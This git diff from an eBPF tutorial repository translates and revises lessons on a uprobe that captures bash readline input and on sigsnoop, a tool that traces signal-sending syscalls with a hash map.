_ARG4(_1, _2, _3, _4) _1; _2; _3; _4; +#define _ARG5(_1, _2, _3, _4, _5) _1; _2; _3; _4; _5; +#define _ARG6(_1, _2, _3, _4, _5, _6) _1; _2; _3; _4; _5; _6; +#define _ARG7(_1, _2, _3, _4, _5, _6, _7) _1; _2; _3; _4; _5; _6; _7; +#define _ARG8(_1, _2, _3, _4, _5, _6, _7, _8) _1; _2; _3; _4; _5; _6; _7; _8; +#define _ARG9(_1, _2, _3, _4, _5, _6, _7, _8, _9) _1; _2; _3; _4; _5; _6; _7; _8; _9; +#define _ARG10(_1, _2, _3, _4, _5, _6, _7, _8, _9, _a) _1; _2; _3; _4; _5; _6; _7; _8; _9; _a; +#define _ARG11(_1, _2, _3, _4, _5, _6, _7, _8, _9, _a, _b) _1; _2; _3; _4; _5; _6; _7; _8; _9; _a; _b; +#define _ARG12(_1, _2, _3, _4, _5, _6, _7, _8, _9, _a, _b, _c) _1; _2; _3; _4; _5; _6; _7; _8; _9; _a; _b; _c; +#define _ARG13(_1, _2, _3, _4, _5, _6, _7, _8, _9, _a, _b, _c, _d) _1; _2; _3; _4; _5; _6; _7; _8; _9; _a; _b; _c; _d; +#define _ARG14(_1, _2, _3, _4, _5, _6, _7, _8, _9, _a, _b, _c, _d, _e) _1; _2; _3; _4; _5; _6; _7; _8; _9; _a; _b; _c; _d; _e; +#define _ARG15(_1, _2, _3, _4, _5, _6, _7, _8, _9, _a, _b, _c, _d, _e, _f) _1; _2; _3; _4; _5; _6; _7; _8; _9; _a; _b; _c; _d; _e; _f; + + +#define HID_BPF_CONFIG(...) union { \ + _EXPAND(_ARG, __VA_ARGS__) \ +} _device_ids SEC(".hid_bpf_config") + +#endif /* __HID_BPF_HELPERS_H */ diff --git a/src/5-uprobe-bashreadline/.config b/src/5-uprobe-bashreadline/.config new file mode 100644 index 00000000..2785adf1 --- /dev/null +++ b/src/5-uprobe-bashreadline/.config @@ -0,0 +1 @@ +level=Basic diff --git a/src/5-uprobe-bashreadline/README.md b/src/5-uprobe-bashreadline/README.md index 20e321a0..e11f0a01 100644 --- a/src/5-uprobe-bashreadline/README.md +++ b/src/5-uprobe-bashreadline/README.md @@ -1,24 +1,26 @@ -# eBPF 入门开发实践教程五:在 eBPF 中使用 uprobe 捕获 bash 的 readline 函数调用 +# eBPF Tutorial by Example 5: Capturing readline Function Calls with Uprobe -eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具,它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 +eBPF (Extended Berkeley Packet Filter) is a powerful network and performance analysis tool on the Linux kernel that allows developers to dynamically load, update, and run user-defined code at runtime. -本文是 eBPF 入门开发实践教程的第五篇,主要介绍如何使用 uprobe 捕获 bash 的 readline 函数调用。 +This article is the fifth part of the eBPF Tutorial by Example, which mainly introduces how to capture readline function calls in bash using uprobe. -## 什么是uprobe +## What is uprobe and When Do You Need It? -uprobe是一种用户空间探针,uprobe探针允许在用户空间程序中动态插桩,插桩位置包括:函数入口、特定偏移处,以及函数返回处。当我们定义uprobe时,内核会在附加的指令上创建快速断点指令(x86机器上为int3指令),当程序执行到该指令时,内核将触发事件,程序陷入到内核态,并以回调函数的方式调用探针函数,执行完探针函数再返回到用户态继续执行后序的指令。 +While kprobes let you trace kernel functions, uprobes bring the same power to user-space programs. You can attach to any function in any binary: libraries, executables, even JIT-compiled code. This is incredibly useful for monitoring applications without modifying their code. -uprobe基于文件,当一个二进制文件中的一个函数被跟踪时,所有使用到这个文件的进程都会被插桩,包括那些尚未启动的进程,这样就可以在全系统范围内跟踪系统调用。 +uprobe is a user-space probe that allows dynamic instrumentation in user-space programs. The probe locations include function entry, specific offsets, and function returns. When we define an uprobe, the kernel creates fast breakpoint instructions (int3 instructions on x86 machines) on the attached instructions. When the program executes this instruction, the kernel triggers an event, causing the program to enter kernel mode and call the probe function through a callback function. After executing the probe function, the program returns to user mode to continue executing subsequent instructions. -uprobe适用于在用户态去解析一些内核态探针无法解析的流量,例如http2流量(报文header被编码,内核无法解码),https流量(加密流量,内核无法解密)。具体可以参考 [eBPF 实践教程:使用 uprobe 捕获多种库的 SSL/TLS 明文数据](../30-sslsniff/README.md) 中的例子。 +uprobe is file-based. When a function in a binary file is traced, all processes that use the file are instrumented, including those that have not yet been started, allowing system calls to be tracked system-wide. -Uprobe 在内核态 eBPF 运行时,也可能产生比较大的性能开销,这时候也可以考虑使用用户态 eBPF 运行时,例如 [bpftime](https://github.com/eunomia-bpf/bpftime)。bpftime 是一个基于 LLVM JIT/AOT 的用户态 eBPF 运行时,它可以在用户态运行 eBPF 程序,和内核态的 eBPF 兼容,避免了内核态和用户态之间的上下文切换,从而提高了 eBPF 程序的执行效率。对于 uprobe 而言,bpftime 的性能开销比 kernel 小一个数量级。 +uprobe is suitable for parsing some traffic in user mode that cannot be resolved by kernel mode probes, such as HTTP/2 traffic (where the header is encoded and cannot be decoded by the kernel) and HTTPS traffic (which is encrypted and cannot be decrypted by the kernel). For more information, see the example in [eBPF Tutorial by Example: Capturing SSL/TLS Plaintext Data from Multiple Libraries with Uprobe](../30-sslsniff/README.md). -## 使用 uprobe 捕获 bash 的 readline 函数调用 +Uprobe in kernel mode eBPF runtime may also cause relatively large performance overhead. In this case, you can also consider using user mode eBPF runtime, such as [bpftime](https://github.com/eunomia-bpf/bpftime). bpftime is a user mode eBPF runtime based on LLVM JIT/AOT. It can run eBPF programs in user mode and is compatible with kernel mode eBPF, avoiding context switching between kernel mode and user mode, thereby improving the execution efficiency of eBPF programs by 10 times. -uprobe 是一种用于捕获用户空间函数调用的 eBPF 的探针,我们可以通过它来捕获用户空间程序调用的系统函数。 +## Capturing readline Function Calls in bash using uprobe -例如,我们可以使用 uprobe 来捕获 bash 的 readline 函数调用,从而获取用户在 bash 中输入的命令行。示例代码如下: +uprobe is an eBPF probe used to capture user-space function calls, allowing us to capture system functions called by user-space programs. + +For example, we can use uprobe to capture readline function calls in bash and get the command line input from the user. The example code is as follows: ```c #include @@ -28,16 +30,6 @@ uprobe 是一种用于捕获用户空间函数调用的 eBPF 的探针,我们 #define TASK_COMM_LEN 16 #define MAX_LINE_SIZE 80 -/* Format of u[ret]probe section definition supporting auto-attach: - * u[ret]probe/binary:function[+offset] - * - * binary can be an absolute/relative path or a filename; the latter is resolved to a - * full binary path via bpf_program__attach_uprobe_opts. - * - * Specifying uprobe+ ensures we carry out strict matching; either "uprobe" must be - * specified (and auto-attach is not possible) or the above format is specified for - * auto-attach. - */ SEC("uretprobe//bin/bash:readline") int BPF_KRETPROBE(printret, const void *ret) { @@ -49,7 +41,7 @@ int BPF_KRETPROBE(printret, const void *ret) return 0; bpf_get_current_comm(&comm, sizeof(comm)); - + pid = bpf_get_current_pid_tgid() >> 32; bpf_probe_read_user_str(str, sizeof(str), ret); @@ -61,65 +53,63 @@ int BPF_KRETPROBE(printret, const void *ret) char LICENSE[] SEC("license") = "GPL"; ``` -这段代码的作用是在 bash 的 readline 函数返回时执行指定的 BPF_KRETPROBE 函数,即 printret 函数。 - -在 printret 函数中,我们首先获取了调用 readline 函数的进程的进程名称和进程 ID,然后通过 bpf_probe_read_user_str 函数读取了用户输入的命令行字符串,最后通过 bpf_printk 函数打印出进程 ID、进程名称和输入的命令行字符串。 +The purpose of this code is to execute the specified BPF_PROBE function (printret function) when the readline function in bash returns. -除此之外,我们还需要通过 SEC 宏来定义 uprobe 探针,并使用 BPF_KRETPROBE 宏来定义探针函数。 +In the printret function, we first obtain the process name and process ID of the process calling the readline function. Then, we use the bpf_probe_read_user_str function to read the user input command line string. Lastly, we use the bpf_printk function to print the process ID, process name, and input command line string. -在 SEC 宏中,我们需要指定 uprobe 的类型、要捕获的二进制文件的路径和要捕获的函数名称。例如,上面的代码中的 SEC 宏的定义如下: +In addition, we also need to define the uprobe probe using the SEC macro and define the probe function using the BPF_KRETPROBE macro.In the `SEC` macro in the code above, we need to specify the type of the uprobe, the path of the binary file to capture, and the name of the function to capture. For example, the definition of the `SEC` macro in the code above is as follows: ```c -SEC("uprobe//bin/bash:readline") +SEC("uretprobe//bin/bash:readline") ``` -这表示我们要捕获的是 /bin/bash 二进制文件中的 readline 函数。 +This indicates that we want to capture the `readline` function in the `/bin/bash` binary file. -接下来,我们需要使用 BPF_KRETPROBE 宏来定义探针函数,例如: +Next, we need to use the `BPF_KRETPROBE` macro to define the probe function. For example: ```c BPF_KRETPROBE(printret, const void *ret) ``` -这里的 printret 是探针函数的名称,const void *ret 是探针函数的参数,它代表被捕获的函数的返回值。 +Here, `printret` is the name of the probe function, and `const void *ret` is the parameter of the probe function, which represents the return value of the captured function. -然后,我们使用了 bpf_get_current_comm 函数获取当前任务的名称,并将其存储在 comm 数组中。 +Then, we use the `bpf_get_current_comm` function to get the name of the current task and store it in the `comm` array. ```c - bpf_get_current_comm(&comm, sizeof(comm)); +bpf_get_current_comm(&comm, sizeof(comm)); ``` -使用 bpf_get_current_pid_tgid 函数获取当前进程的 PID,并将其存储在 pid 变量中。 +We use the `bpf_get_current_pid_tgid` function to get the PID of the current process and store it in the `pid` variable. ```c - pid = bpf_get_current_pid_tgid() >> 32; +pid = bpf_get_current_pid_tgid() >> 32; ``` -使用 bpf_probe_read_user_str 函数从用户空间读取 readline 函数的返回值,并将其存储在 str 数组中。 +We use the `bpf_probe_read_user_str` function to read the return value of the `readline` function from the user space and store it in the `str` array. ```c - bpf_probe_read_user_str(str, sizeof(str), ret); +bpf_probe_read_user_str(str, sizeof(str), ret); ``` -最后使用 bpf_printk 函数输出 PID、任务名称和用户输入的字符串。 +Finally, we use the `bpf_printk` function to output the PID, task name, and user input string. ```c - bpf_printk("PID %d (%s) read: %s ", pid, comm, str); +bpf_printk("PID %d (%s) read: %s ", pid, comm, str); ``` -eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链,它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 +We use eunomia-bpf to compile and run this example. You can install it from . -编译运行上述代码: +Compile and run the above code: ```console $ ecc bashreadline.bpf.c Compiling bpf object... Packing ebpf object and config into package.json... $ sudo ecli run package.json -Runing eBPF program... +Running eBPF program... ``` -运行这段程序后,可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出: +After running this program, you can view the output of the eBPF program by checking the file `/sys/kernel/debug/tracing/trace_pipe`: ```console $ sudo cat /sys/kernel/debug/tracing/trace_pipe @@ -127,12 +117,10 @@ $ sudo cat /sys/kernel/debug/tracing/trace_pipe bash-32969 [000] d..31 64002.056951: bpf_trace_printk: PID 32969 (bash) read: fff ``` -可以看到,我们成功的捕获了 bash 的 readline 函数调用,并获取了用户在 bash 中输入的命令行。 - -## 总结 +You can see that we have successfully captured the `readline` function call of `bash` and obtained the command line entered by the user in `bash`. -在上述代码中,我们使用了 SEC 宏来定义了一个 uprobe 探针,它指定了要捕获的用户空间程序 (bin/bash) 和要捕获的函数 (readline)。此外,我们还使用了 BPF_KRETPROBE 宏来定义了一个用于处理 readline 函数返回值的回调函数 (printret)。该函数可以获取到 readline 函数的返回值,并将其打印到内核日志中。通过这样的方式,我们就可以使用 eBPF 来捕获 bash 的 readline 函数调用,并获取用户在 bash 中输入的命令行。 +## Summary -更多的例子和详细的开发指南,请参考 eunomia-bpf 的官方文档: +In the above code, we used the `SEC` macro to define an uprobe probe, which specifies the user space program (`bin/bash`) to be captured and the function (`readline`) to be captured. In addition, we used the `BPF_KRETPROBE` macro to define a callback function (`printret`) for handling the return value of the `readline` function. This function can retrieve the return value of the `readline` function and print it to the kernel log. In this way, we can use eBPF to capture the `readline` function call of `bash` and obtain the command line entered by the user in `bash`. -如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 +If you want to learn more about eBPF knowledge and practices, you can visit our tutorial code repository or website to get more examples and complete tutorials. diff --git a/src/5-uprobe-bashreadline/README.zh.md b/src/5-uprobe-bashreadline/README.zh.md new file mode 100644 index 00000000..2fe3ebdd --- /dev/null +++ b/src/5-uprobe-bashreadline/README.zh.md @@ -0,0 +1,141 @@ +# eBPF 入门开发实践教程五:在 eBPF 中使用 uprobe 捕获 bash 的 readline 函数调用 + +eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具,它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 + +本文是 eBPF 入门开发实践教程的第五篇,主要介绍如何使用 uprobe 捕获 bash 的 readline 函数调用。 + +## 什么是uprobe + +uprobe是一种用户空间探针,uprobe探针允许在用户空间程序中动态插桩,插桩位置包括:函数入口、特定偏移处,以及函数返回处。当我们定义uprobe时,内核会在附加的指令上创建快速断点指令(x86机器上为int3指令),当程序执行到该指令时,内核将触发事件,程序陷入到内核态,并以回调函数的方式调用探针函数,执行完探针函数再返回到用户态继续执行后序的指令。 + +uprobe基于文件,当一个二进制文件中的一个函数被跟踪时,所有使用到这个文件的进程都会被插桩,包括那些尚未启动的进程,这样就可以在全系统范围内跟踪系统调用。 + +uprobe适用于在用户态去解析一些内核态探针无法解析的流量,例如http2流量(报文header被编码,内核无法解码),https流量(加密流量,内核无法解密)。具体可以参考 [eBPF 实践教程:使用 uprobe 捕获多种库的 SSL/TLS 明文数据](../30-sslsniff/README.md) 中的例子。 + +Uprobe 在内核态 eBPF 运行时,也可能产生比较大的性能开销,这时候也可以考虑使用用户态 eBPF 运行时,例如 [bpftime](https://github.com/eunomia-bpf/bpftime)。bpftime 是一个基于 LLVM JIT/AOT 的用户态 eBPF 运行时,它可以在用户态运行 eBPF 程序,和内核态的 eBPF 兼容,避免了内核态和用户态之间的上下文切换,从而提高了 eBPF 程序的执行效率。对于 uprobe 而言,bpftime 的性能开销比 kernel 小一个数量级。 + +## 使用 uprobe 捕获 bash 的 readline 函数调用 + +uprobe 特别适合在以下场景使用:你需要跟踪特定应用程序的行为,但无法修改源代码或重新编译程序;你想要调试复杂的用户空间问题,比如追踪库函数调用;或者你需要进行安全审计,监控敏感函数的调用。 + +为什么不能直接使用 kprobe?因为像 readline 这样的函数是在用户空间库中实现的,不是内核函数。uprobe 让我们能够在不修改程序的情况下,动态地插入探测点到任何用户空间二进制文件中。 + +例如,我们可以使用 uprobe 来捕获 bash 的 readline 函数调用,从而获取用户在 bash 中输入的命令行。示例代码如下: + +```c +#include +#include +#include + +#define TASK_COMM_LEN 16 +#define MAX_LINE_SIZE 80 + +/* Format of u[ret]probe section definition supporting auto-attach: + * u[ret]probe/binary:function[+offset] + * + * binary can be an absolute/relative path or a filename; the latter is resolved to a + * full binary path via bpf_program__attach_uprobe_opts. + * + * Specifying uprobe+ ensures we carry out strict matching; either "uprobe" must be + * specified (and auto-attach is not possible) or the above format is specified for + * auto-attach. + */ +SEC("uretprobe//bin/bash:readline") +int BPF_KRETPROBE(printret, const void *ret) +{ + char str[MAX_LINE_SIZE]; + char comm[TASK_COMM_LEN]; + u32 pid; + + if (!ret) + return 0; + + bpf_get_current_comm(&comm, sizeof(comm)); + + pid = bpf_get_current_pid_tgid() >> 32; + bpf_probe_read_user_str(str, sizeof(str), ret); + + bpf_printk("PID %d (%s) read: %s ", pid, comm, str); + + return 0; +}; + +char LICENSE[] SEC("license") = "GPL"; +``` + +这段代码的作用是在 bash 的 readline 函数返回时执行指定的 BPF_KRETPROBE 函数,即 printret 函数。 + +在 printret 函数中,我们首先获取了调用 readline 函数的进程的进程名称和进程 ID,然后通过 bpf_probe_read_user_str 函数读取了用户输入的命令行字符串,最后通过 bpf_printk 函数打印出进程 ID、进程名称和输入的命令行字符串。 + +除此之外,我们还需要通过 SEC 宏来定义 uprobe 探针,并使用 BPF_KRETPROBE 宏来定义探针函数。 + +在 SEC 宏中,我们需要指定 uprobe 的类型、要捕获的二进制文件的路径和要捕获的函数名称。例如,上面的代码中的 SEC 宏的定义如下: + +```c +SEC("uretprobe//bin/bash:readline") +``` + +这表示我们要捕获的是 /bin/bash 二进制文件中的 readline 函数。 + +接下来,我们需要使用 BPF_KRETPROBE 宏来定义探针函数,例如: + +```c +BPF_KRETPROBE(printret, const void *ret) +``` + +这里的 printret 是探针函数的名称,const void *ret 是探针函数的参数,它代表被捕获的函数的返回值。 + +然后,我们使用了 bpf_get_current_comm 函数获取当前任务的名称,并将其存储在 comm 数组中。 + +```c + bpf_get_current_comm(&comm, sizeof(comm)); +``` + +使用 bpf_get_current_pid_tgid 函数获取当前进程的 PID,并将其存储在 pid 变量中。 + +```c + pid = bpf_get_current_pid_tgid() >> 32; +``` + +使用 bpf_probe_read_user_str 函数从用户空间读取 readline 函数的返回值,并将其存储在 str 数组中。 + +```c + bpf_probe_read_user_str(str, sizeof(str), ret); +``` + +最后使用 bpf_printk 函数输出 PID、任务名称和用户输入的字符串。 + +```c + bpf_printk("PID %d (%s) read: %s ", pid, comm, str); +``` + + +关键的部分是 `bpf_probe_read_user_str` 我们需要使用这个特殊的辅助函数来安全地从用户空间内存读取字符串,不能直接解引用 `ret` 指针,因为 eBPF 程序运行在内核空间,直接访问用户空间内存会导致错误。这个函数确保了安全的跨空间内存访问。 + +我们使用 eunomia-bpf 来编译和运行这个示例。你可以从 安装它。 + +编译运行上述代码: + +```console +$ ecc bashreadline.bpf.c +Compiling bpf object... +Packing ebpf object and config into package.json... +$ sudo ecli run package.json +Runing eBPF program... +``` + +运行这段程序后,可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出: + +```console +$ sudo cat /sys/kernel/debug/tracing/trace_pipe + bash-32969 [000] d..31 64001.375748: bpf_trace_printk: PID 32969 (bash) read: fff + bash-32969 [000] d..31 64002.056951: bpf_trace_printk: PID 32969 (bash) read: fff +``` + +可以看到,我们成功的捕获了 bash 的 readline 函数调用,并获取了用户在 bash 中输入的命令行。 + +## 总结 + +在上述代码中,我们使用了 SEC 宏来定义了一个 uprobe 探针,它指定了要捕获的用户空间程序 (bin/bash) 和要捕获的函数 (readline)。此外,我们还使用了 BPF_KRETPROBE 宏来定义了一个用于处理 readline 函数返回值的回调函数 (printret)。该函数可以获取到 readline 函数的返回值,并将其打印到内核日志中。通过这样的方式,我们就可以使用 eBPF 来捕获 bash 的 readline 函数调用,并获取用户在 bash 中输入的命令行。 + +如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 diff --git a/src/5-uprobe-bashreadline/README_en.md b/src/5-uprobe-bashreadline/README_en.md deleted file mode 100644 index 6a9f7958..00000000 --- a/src/5-uprobe-bashreadline/README_en.md +++ /dev/null @@ -1,124 +0,0 @@ -# eBPF Tutorial by Example 5: Capturing readline Function Calls with Uprobe - -eBPF (Extended Berkeley Packet Filter) is a powerful network and performance analysis tool on the Linux kernel that allows developers to dynamically load, update, and run user-defined code at runtime. - -This article is the fifth part of the eBPF Tutorial by Example, which mainly introduces how to capture readline function calls in bash using uprobe. - -## What is uprobe - -uprobe is a user-space probe that allows dynamic instrumentation in user-space programs. The probe locations include function entry, specific offsets, and function returns. When we define an uprobe, the kernel creates fast breakpoint instructions (int3 instructions on x86 machines) on the attached instructions. When the program executes this instruction, the kernel triggers an event, causing the program to enter kernel mode and call the probe function through a callback function. After executing the probe function, the program returns to user mode to continue executing subsequent instructions. - -uprobe is file-based. When a function in a binary file is traced, all processes that use the file are instrumented, including those that have not yet been started, allowing system calls to be tracked system-wide. - -uprobe is suitable for parsing some traffic in user mode that cannot be resolved by kernel mode probes, such as HTTP/2 traffic (where the header is encoded and cannot be decoded by the kernel) and HTTPS traffic (which is encrypted and cannot be decrypted by the kernel). For more information, see the example in [eBPF Tutorial by Example: Capturing SSL/TLS Plaintext Data from Multiple Libraries with Uprobe](../30-sslsniff/README.md). - -Uprobe in kernel mode eBPF runtime may also cause relatively large performance overhead. In this case, you can also consider using user mode eBPF runtime, such as [bpftime](https://github.com/eunomia-bpf/bpftime). bpftime is a user mode eBPF runtime based on LLVM JIT/AOT. It can run eBPF programs in user mode and is compatible with kernel mode eBPF, avoiding context switching between kernel mode and user mode, thereby improving the execution efficiency of eBPF programs by 10 times. - -## Capturing readline Function Calls in bash using uprobe - -uprobe is an eBPF probe used to capture user-space function calls, allowing us to capture system functions called by user-space programs. - -For example, we can use uprobe to capture readline function calls in bash and get the command line input from the user. The example code is as follows: - -```c -#include -#include -#include - -#define TASK_COMM_LEN 16 -#define MAX_LINE_SIZE 80 - -SEC("uretprobe//bin/bash:readline") -int BPF_KRETPROBE(printret, const void *ret) -{ - char str[MAX_LINE_SIZE]; - char comm[TASK_COMM_LEN]; - u32 pid; - - if (!ret) - return 0; - - bpf_get_current_comm(&comm, sizeof(comm)); - - pid = bpf_get_current_pid_tgid() >> 32; - bpf_probe_read_user_str(str, sizeof(str), ret); - - bpf_printk("PID %d (%s) read: %s ", pid, comm, str); - - return 0; -}; - -char LICENSE[] SEC("license") = "GPL"; -``` - -The purpose of this code is to execute the specified BPF_PROBE function (printret function) when the readline function in bash returns. - -In the printret function, we first obtain the process name and process ID of the process calling the readline function. Then, we use the bpf_probe_read_user_str function to read the user input command line string. Lastly, we use the bpf_printk function to print the process ID, process name, and input command line string. - -In addition, we also need to define the uprobe probe using the SEC macro and define the probe function using the BPF_KRETPROBE macro.In the `SEC` macro in the code above, we need to specify the type of the uprobe, the path of the binary file to capture, and the name of the function to capture. For example, the definition of the `SEC` macro in the code above is as follows: - -```c -SEC("uprobe//bin/bash:readline") -``` - -This indicates that we want to capture the `readline` function in the `/bin/bash` binary file. - -Next, we need to use the `BPF_KRETPROBE` macro to define the probe function. For example: - -```c -BPF_KRETPROBE(printret, const void *ret) -``` - -Here, `printret` is the name of the probe function, and `const void *ret` is the parameter of the probe function, which represents the return value of the captured function. - -Then, we use the `bpf_get_current_comm` function to get the name of the current task and store it in the `comm` array. - -```c -bpf_get_current_comm(&comm, sizeof(comm)); -``` - -We use the `bpf_get_current_pid_tgid` function to get the PID of the current process and store it in the `pid` variable. - -```c -pid = bpf_get_current_pid_tgid() >> 32; -``` - -We use the `bpf_probe_read_user_str` function to read the return value of the `readline` function from the user space and store it in the `str` array. - -```c -bpf_probe_read_user_str(str, sizeof(str), ret); -``` - -Finally, we use the `bpf_printk` function to output the PID, task name, and user input string. - -```c -bpf_printk("PID %d (%s) read: %s ", pid, comm, str); -``` - -eunomia-bpf is an open-source eBPF dynamic loading runtime and development toolchain combined with Wasm. Its purpose is to simplify the development, build, distribution, and running of eBPF programs. You can refer to to download and install the ecc compiler toolchain and ecli runtime. We use eunomia-bpf to compile and run this example. - -Compile and run the above code: - -```console -$ ecc bashreadline.bpf.c -Compiling bpf object... -Packing ebpf object and config into package.json... -$ sudo ecli run package.json -Running eBPF program... -``` - -After running this program, you can view the output of the eBPF program by checking the file `/sys/kernel/debug/tracing/trace_pipe`: - -```console -$ sudo cat /sys/kernel/debug/tracing/trace_pipe - bash-32969 [000] d..31 64001.375748: bpf_trace_printk: PID 32969 (bash) read: fff - bash-32969 [000] d..31 64002.056951: bpf_trace_printk: PID 32969 (bash) read: fff -``` - -You can see that we have successfully captured the `readline` function call of `bash` and obtained the command line entered by the user in `bash`. - -## Summary - -In the above code, we used the `SEC` macro to define an uprobe probe, which specifies the user space program (`bin/bash`) to be captured and the function (`readline`) to be captured. In addition, we used the `BPF_KRETPROBE` macro to define a callback function (`printret`) for handling the return value of the `readline` function. This function can retrieve the return value of the `readline` function and print it to the kernel log. In this way, we can use eBPF to capture the `readline` function call of `bash` and obtain the command line entered by the user in `bash`. - -If you want to learn more about eBPF knowledge and practices, you can visit our tutorial code repository or website to get more examples and complete tutorials. diff --git a/src/6-sigsnoop/.config b/src/6-sigsnoop/.config new file mode 100644 index 00000000..2785adf1 --- /dev/null +++ b/src/6-sigsnoop/.config @@ -0,0 +1 @@ +level=Basic diff --git a/src/6-sigsnoop/README.md b/src/6-sigsnoop/README.md index 2a8715bc..c862021a 100755 --- a/src/6-sigsnoop/README.md +++ b/src/6-sigsnoop/README.md @@ -1,12 +1,12 @@ -# eBPF 入门开发实践教程六:捕获进程发送信号的系统调用集合,使用 hash map 保存状态 +# eBPF Tutorial by Example 6: Capturing Signal Sending and Store State with Hash Maps -eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具,它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 +eBPF (Extended Berkeley Packet Filter) is a powerful network and performance analysis tool on the Linux kernel that allows developers to dynamically load, update, and run user-defined code at runtime. -本文是 eBPF 入门开发实践教程的第六篇,主要介绍如何实现一个 eBPF 工具,捕获进程发送信号的系统调用集合,使用 hash map 保存状态。 +This article is the sixth part of the eBPF Tutorial by Example. It mainly introduces how to implement an eBPF tool that captures a collection of system calls that send signals to processes and uses a hash map to store state. ## sigsnoop -示例代码如下: +The example code is as follows: ```c #include @@ -87,21 +87,23 @@ int kill_exit(struct trace_event_raw_sys_exit *ctx) char LICENSE[] SEC("license") = "Dual BSD/GPL"; ``` -上面的代码定义了一个 eBPF 程序,用于捕获进程发送信号的系统调用,包括 kill、tkill 和 tgkill。它通过使用 tracepoint 来捕获系统调用的进入和退出事件,并在这些事件发生时执行指定的探针函数,例如 probe_entry 和 probe_exit。 +This program tracks signal sending across entry and exit events. The challenge is that we need to correlate data from two separate events; when the syscall starts and when it finishes. That's where hash maps come in. -在探针函数中,我们使用 bpf_map 存储捕获的事件信息,包括发送信号的进程 ID、接收信号的进程 ID、信号值和进程的可执行文件名称。在系统调用退出时,我们将获取存储在 bpf_map 中的事件信息,并使用 bpf_printk 打印进程 ID、进程名称、发送的信号和系统调用的返回值。 +When `probe_entry` runs, we save the signal information in a hash map using the thread ID (TID) as the key. When `probe_exit` runs for the same thread, we look up the saved data, add the return value, and print everything together. This gives us complete information about each signal - who sent it, who received it, what signal it was, and whether it succeeded. -最后,我们还需要使用 SEC 宏来定义探针,并指定要捕获的系统调用的名称,以及要执行的探针函数。 +The hash map is keyed by TID rather than PID because threads make syscalls independently. Using TID ensures we don't accidentally mix up events from different threads in the same process. -eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链,它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 +Finally, we also need to use the SEC macro to define the probe and specify the name of the system call to be captured and the probe function to be executed. -编译运行上述代码: +We use eunomia-bpf to compile and run this example. You can install it from . + +Compile and run the above code: ```shell docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest ``` -或者 +or ```console $ ecc sigsnoop.bpf.c @@ -109,10 +111,10 @@ Compiling bpf object... Generating export types... Packing ebpf object and config into package.json... $ sudo ecli run package.json -Runing eBPF program... +Running eBPF program... ``` -运行这段程序后,可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出: +After running this program, you can view the output of the eBPF program by checking the /sys/kernel/debug/tracing/trace_pipe file: ```console $ sudo cat /sys/kernel/debug/tracing/trace_pipe @@ -122,9 +124,9 @@ $ sudo cat /sys/kernel/debug/tracing/trace_pipe systemd-journal-363 [000] d...1 672.563870: bpf_trace_printk: to PID 1527, ret = -3 ``` -## 总结 +## Summary -本文主要介绍如何实现一个 eBPF 工具,捕获进程发送信号的系统调用集合,使用 hash map 保存状态。使用 hash map 需要定义一个结构体: +This article mainly introduces how to implement an eBPF tool to capture the collection of system calls sent by processes using signals and save the state using a hash map. Using a hash map requires defining a struct: ```c struct { @@ -135,8 +137,6 @@ struct { } values SEC(".maps"); ``` -并使用一些对应的 API 进行访问,例如 bpf_map_lookup_elem、bpf_map_update_elem、bpf_map_delete_elem 等。 - -更多的例子和详细的开发指南,请参考 eunomia-bpf 的官方文档: +And using corresponding APIs for access, such as bpf_map_lookup_elem, bpf_map_update_elem, bpf_map_delete_elem, etc. -如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。 +If you want to learn more about eBPF knowledge and practice, you can visit our tutorial code repository or website to get more examples and complete tutorials. diff --git a/src/6-sigsnoop/README.zh.md b/src/6-sigsnoop/README.zh.md new file mode 100755 index 00000000..1cc8af77 --- /dev/null +++ b/src/6-sigsnoop/README.zh.md @@ -0,0 +1,142 @@ +# eBPF 入门开发实践教程六:捕获进程发送信号的系统调用集合,使用 hash map 保存状态 + +eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具,它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 + +本文是 eBPF 入门开发实践教程的第六篇,主要介绍如何实现一个 eBPF 工具,捕获进程发送信号的系统调用集合,使用 hash map 保存状态。 + +## sigsnoop + +示例代码如下: + +```c +#include +#include +#include + +#define MAX_ENTRIES 10240 +#define TASK_COMM_LEN 16 + +struct event { + unsigned int pid; + unsigned int tpid; + int sig; + int ret; + char comm[TASK_COMM_LEN]; +}; + +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, MAX_ENTRIES); + __type(key, __u32); + __type(value, struct event); +} values SEC(".maps"); + + +static int probe_entry(pid_t tpid, int sig) +{ + struct event event = {}; + __u64 pid_tgid; + __u32 tid; + + pid_tgid = bpf_get_current_pid_tgid(); + tid = (__u32)pid_tgid; + event.pid = pid_tgid >> 32; + event.tpid = tpid; + event.sig = sig; + bpf_get_current_comm(event.comm, sizeof(event.comm)); + bpf_map_update_elem(&values, &tid, &event, BPF_ANY); + return 0; +} + +static int probe_exit(void *ctx, int ret) +{ + __u64 pid_tgid = bpf_get_current_pid_tgid(); + __u32 tid = (__u32)pid_tgid; + struct event *eventp; 